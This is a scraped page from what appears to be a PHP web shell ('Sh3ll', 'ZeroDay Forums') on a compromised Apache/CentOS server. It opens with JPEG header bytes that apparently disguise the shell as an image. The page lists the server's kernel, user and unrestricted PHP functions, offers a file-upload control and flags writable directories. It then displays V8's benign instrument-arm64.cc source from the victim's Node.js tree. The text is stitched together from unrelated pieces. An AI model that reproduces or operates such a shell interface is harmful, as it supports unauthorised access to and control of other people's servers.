����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/deps/v8/src/codegen/arm64/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/deps/v8/src/codegen/arm64/instrument-arm64.cc
// Copyright 2013 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include "src/codegen/arm64/instrument-arm64.h"

namespace v8 {
namespace internal {

Counter::Counter(const char* name, CounterType type)
    : count_(0), enabled_(false), type_(type) {
  DCHECK_NOT_NULL(name);
  strncpy(name_, name, kCounterNameMaxLength);
}

void Counter::Enable() { enabled_ = true; }

void Counter::Disable() { enabled_ = false; }

bool Counter::IsEnabled() { return enabled_; }

void Counter::Increment() {
  if (enabled_) {
    count_++;
  }
}

uint64_t Counter::count() {
  uint64_t result = count_;
  if (type_ == Gauge) {
    // If the counter is a Gauge, reset the count after reading.
    count_ = 0;
  }
  return result;
}

const char* Counter::name() { return name_; }

CounterType Counter::type() { return type_; }

struct CounterDescriptor {
  const char* name;
  CounterType type;
};

static const CounterDescriptor kCounterList[] = {
    {"Instruction", Cumulative},

    {"Move Immediate", Gauge},
    {"Add/Sub DP", Gauge},
    {"Logical DP", Gauge},
    {"Other Int DP", Gauge},
    {"FP DP", Gauge},
    {"NEON", Gauge},

    {"Conditional Select", Gauge},
    {"Conditional Compare", Gauge},

    {"Unconditional Branch", Gauge},
    {"Compare and Branch", Gauge},
    {"Test and Branch", Gauge},
    {"Conditional Branch", Gauge},

    {"Load Integer", Gauge},
    {"Load FP", Gauge},
    {"Load Pair", Gauge},
    {"Load Literal", Gauge},
    {"Load Acquire", Gauge},

    {"Store Integer", Gauge},
    {"Store FP", Gauge},
    {"Store Pair", Gauge},
    {"Store Release", Gauge},

    {"PC Addressing", Gauge},
    {"Other", Gauge},
};

Instrument::Instrument(const char* datafile, uint64_t sample_period)
    : output_stream_(stderr), sample_period_(sample_period) {
  // Set up the output stream. If datafile is non-nullptr, use that file. If it
  // can't be opened, or datafile is nullptr, use stderr.
  if (datafile != nullptr) {
    output_stream_ = fopen(datafile, "w");
    if (output_stream_ == nullptr) {
      fprintf(stderr, "Can't open output file %s. Using stderr.\n", datafile);
      output_stream_ = stderr;
    }
  }

  static const int num_counters = arraysize(kCounterList);

  // Dump an instrumentation description comment at the top of the file.
  fprintf(output_stream_, "# counters=%d\n", num_counters);
  fprintf(output_stream_, "# sample_period=%" PRIu64 "\n", sample_period_);

  // Construct Counter objects from counter description array.
  for (int i = 0; i < num_counters; i++) {
    Counter* counter = new Counter(kCounterList[i].name, kCounterList[i].type);
    counters_.push_back(counter);
  }

  DumpCounterNames();
}

Instrument::~Instrument() {
  // Dump any remaining instruction data to the output file.
  DumpCounters();

  // Free all the counter objects.
  std::list<Counter*>::iterator it;
  for (it = counters_.begin(); it != counters_.end(); it++) {
    delete *it;
  }

  if (output_stream_ != stderr) {
    fclose(output_stream_);
  }
}

void Instrument::Update() {
  // Increment the instruction counter, and dump all counters if a sample period
  // has elapsed.
  static Counter* counter = GetCounter("Instruction");
  DCHECK(counter->type() == Cumulative);
  counter->Increment();

  if (counter->IsEnabled() && (counter->count() % sample_period_) == 0) {
    DumpCounters();
  }
}

void Instrument::DumpCounters() {
  // Iterate through the counter objects, dumping their values to the output
  // stream.
  std::list<Counter*>::const_iterator it;
  for (it = counters_.begin(); it != counters_.end(); it++) {
    fprintf(output_stream_, "%" PRIu64 ",", (*it)->count());
  }
  fprintf(output_stream_, "\n");
  fflush(output_stream_);
}

void Instrument::DumpCounterNames() {
  // Iterate through the counter objects, dumping the counter names to the
  // output stream.
  std::list<Counter*>::const_iterator it;
  for (it = counters_.begin(); it != counters_.end(); it++) {
    fprintf(output_stream_, "%s,", (*it)->name());
  }
  fprintf(output_stream_, "\n");
  fflush(output_stream_);
}

void Instrument::HandleInstrumentationEvent(unsigned event) {
  switch (event) {
    case InstrumentStateEnable:
      Enable();
      break;
    case InstrumentStateDisable:
      Disable();
      break;
    default:
      DumpEventMarker(event);
  }
}

void Instrument::DumpEventMarker(unsigned marker) {
  // Dumpan event marker to the output stream as a specially formatted comment
  // line.
  static Counter* counter = GetCounter("Instruction");

  fprintf(output_stream_, "# %c%c @ %" PRId64 "\n", marker & 0xFF,
          (marker >> 8) & 0xFF, counter->count());
}

Counter* Instrument::GetCounter(const char* name) {
  // Get a Counter object by name from the counter list.
  std::list<Counter*>::const_iterator it;
  for (it = counters_.begin(); it != counters_.end(); it++) {
    if (strcmp((*it)->name(), name) == 0) {
      return *it;
    }
  }

  // A Counter by that name does not exist: print an error message to stderr
  // and the output file, and exit.
  static const char* error_message =
      "# Error: Unknown counter \"%s\". Exiting.\n";
  fprintf(stderr, error_message, name);
  fprintf(output_stream_, error_message, name);
  exit(1);
}

void Instrument::Enable() {
  std::list<Counter*>::iterator it;
  for (it = counters_.begin(); it != counters_.end(); it++) {
    (*it)->Enable();
  }
}

void Instrument::Disable() {
  std::list<Counter*>::iterator it;
  for (it = counters_.begin(); it != counters_.end(); it++) {
    (*it)->Disable();
  }
}

void Instrument::VisitPCRelAddressing(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("PC Addressing");
  counter->Increment();
}

void Instrument::VisitAddSubImmediate(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Add/Sub DP");
  counter->Increment();
}

void Instrument::VisitLogicalImmediate(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Logical DP");
  counter->Increment();
}

void Instrument::VisitMoveWideImmediate(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Move Immediate");

  if (instr->IsMovn() && (instr->Rd() == kZeroRegCode)) {
    unsigned imm = instr->ImmMoveWide();
    HandleInstrumentationEvent(imm);
  } else {
    counter->Increment();
  }
}

void Instrument::VisitBitfield(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Other Int DP");
  counter->Increment();
}

void Instrument::VisitExtract(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Other Int DP");
  counter->Increment();
}

void Instrument::VisitUnconditionalBranch(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Unconditional Branch");
  counter->Increment();
}

void Instrument::VisitUnconditionalBranchToRegister(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Unconditional Branch");
  counter->Increment();
}

void Instrument::VisitCompareBranch(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Compare and Branch");
  counter->Increment();
}

void Instrument::VisitTestBranch(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Test and Branch");
  counter->Increment();
}

void Instrument::VisitConditionalBranch(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Conditional Branch");
  counter->Increment();
}

void Instrument::VisitSystem(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Other");
  counter->Increment();
}

void Instrument::VisitException(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Other");
  counter->Increment();
}

void Instrument::InstrumentLoadStorePair(Instruction* instr) {
  static Counter* load_pair_counter = GetCounter("Load Pair");
  static Counter* store_pair_counter = GetCounter("Store Pair");
  if (instr->Mask(LoadStorePairLBit) != 0) {
    load_pair_counter->Increment();
  } else {
    store_pair_counter->Increment();
  }
}

void Instrument::VisitLoadStorePairPostIndex(Instruction* instr) {
  Update();
  InstrumentLoadStorePair(instr);
}

void Instrument::VisitLoadStorePairOffset(Instruction* instr) {
  Update();
  InstrumentLoadStorePair(instr);
}

void Instrument::VisitLoadStorePairPreIndex(Instruction* instr) {
  Update();
  InstrumentLoadStorePair(instr);
}

void Instrument::VisitLoadLiteral(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Load Literal");
  counter->Increment();
}

void Instrument::InstrumentLoadStore(Instruction* instr) {
  static Counter* load_int_counter = GetCounter("Load Integer");
  static Counter* store_int_counter = GetCounter("Store Integer");
  static Counter* load_fp_counter = GetCounter("Load FP");
  static Counter* store_fp_counter = GetCounter("Store FP");

  switch (instr->Mask(LoadStoreMask)) {
    case STRB_w:  // Fall through.
    case STRH_w:  // Fall through.
    case STR_w:   // Fall through.
    case STR_x:
      store_int_counter->Increment();
      break;
    case STR_s:  // Fall through.
    case STR_d:
      store_fp_counter->Increment();
      break;
    case LDRB_w:   // Fall through.
    case LDRH_w:   // Fall through.
    case LDR_w:    // Fall through.
    case LDR_x:    // Fall through.
    case LDRSB_x:  // Fall through.
    case LDRSH_x:  // Fall through.
    case LDRSW_x:  // Fall through.
    case LDRSB_w:  // Fall through.
    case LDRSH_w:
      load_int_counter->Increment();
      break;
    case LDR_s:  // Fall through.
    case LDR_d:
      load_fp_counter->Increment();
      break;
    default:
      UNREACHABLE();
  }
}

void Instrument::VisitLoadStoreUnscaledOffset(Instruction* instr) {
  Update();
  InstrumentLoadStore(instr);
}

void Instrument::VisitLoadStorePostIndex(Instruction* instr) {
  Update();
  InstrumentLoadStore(instr);
}

void Instrument::VisitLoadStorePreIndex(Instruction* instr) {
  Update();
  InstrumentLoadStore(instr);
}

void Instrument::VisitLoadStoreRegisterOffset(Instruction* instr) {
  Update();
  InstrumentLoadStore(instr);
}

void Instrument::VisitLoadStoreUnsignedOffset(Instruction* instr) {
  Update();
  InstrumentLoadStore(instr);
}

void Instrument::VisitLoadStoreAcquireRelease(Instruction* instr) {
  Update();
  static Counter* load_counter = GetCounter("Load Acquire");
  static Counter* store_counter = GetCounter("Store Release");

  switch (instr->Mask(LoadStoreAcquireReleaseMask)) {
    case LDAR_b:   // Fall-through.
    case LDAR_h:   // Fall-through.
    case LDAR_w:   // Fall-through.
    case LDAR_x:   // Fall-through.
    case LDAXR_b:  // Fall-through.
    case LDAXR_h:  // Fall-through.
    case LDAXR_w:  // Fall-through.
    case LDAXR_x:
      load_counter->Increment();
      break;
    case STLR_b:   // Fall-through.
    case STLR_h:   // Fall-through.
    case STLR_w:   // Fall-through.
    case STLR_x:   // Fall-through.
    case STLXR_b:  // Fall-through.
    case STLXR_h:  // Fall-through.
    case STLXR_w:  // Fall-through.
    case STLXR_x:
      store_counter->Increment();
      break;
    default:
      UNREACHABLE();
  }
}

void Instrument::VisitLogicalShifted(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Logical DP");
  counter->Increment();
}

void Instrument::VisitAddSubShifted(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Add/Sub DP");
  counter->Increment();
}

void Instrument::VisitAddSubExtended(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Add/Sub DP");
  counter->Increment();
}

void Instrument::VisitAddSubWithCarry(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Add/Sub DP");
  counter->Increment();
}

void Instrument::VisitConditionalCompareRegister(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Conditional Compare");
  counter->Increment();
}

void Instrument::VisitConditionalCompareImmediate(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Conditional Compare");
  counter->Increment();
}

void Instrument::VisitConditionalSelect(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Conditional Select");
  counter->Increment();
}

void Instrument::VisitDataProcessing1Source(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Other Int DP");
  counter->Increment();
}

void Instrument::VisitDataProcessing2Source(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Other Int DP");
  counter->Increment();
}

void Instrument::VisitDataProcessing3Source(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Other Int DP");
  counter->Increment();
}

void Instrument::VisitFPCompare(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("FP DP");
  counter->Increment();
}

void Instrument::VisitFPConditionalCompare(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Conditional Compare");
  counter->Increment();
}

void Instrument::VisitFPConditionalSelect(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Conditional Select");
  counter->Increment();
}

void Instrument::VisitFPImmediate(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("FP DP");
  counter->Increment();
}

void Instrument::VisitFPDataProcessing1Source(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("FP DP");
  counter->Increment();
}

void Instrument::VisitFPDataProcessing2Source(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("FP DP");
  counter->Increment();
}

void Instrument::VisitFPDataProcessing3Source(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("FP DP");
  counter->Increment();
}

void Instrument::VisitFPIntegerConvert(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("FP DP");
  counter->Increment();
}

void Instrument::VisitFPFixedPointConvert(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("FP DP");
  counter->Increment();
}

void Instrument::VisitNEON2RegMisc(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEON3Different(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEON3Same(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONAcrossLanes(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONByIndexedElement(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONCopy(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONExtract(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONLoadStoreMultiStruct(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONLoadStoreMultiStructPostIndex(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONLoadStoreSingleStruct(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONLoadStoreSingleStructPostIndex(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONModifiedImmediate(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONPerm(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONScalar2RegMisc(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONScalar3Diff(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONScalar3Same(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONScalarByIndexedElement(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONScalarCopy(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONScalarPairwise(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONScalarShiftImmediate(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONShiftImmediate(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitNEONTable(Instruction* instr) {
  USE(instr);
  Update();
  static Counter* counter = GetCounter("NEON");
  counter->Increment();
}

void Instrument::VisitUnallocated(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Other");
  counter->Increment();
}

void Instrument::VisitUnimplemented(Instruction* instr) {
  Update();
  static Counter* counter = GetCounter("Other");
  counter->Increment();
}

}  // namespace internal
}  // namespace v8

ZeroDay Forums Mini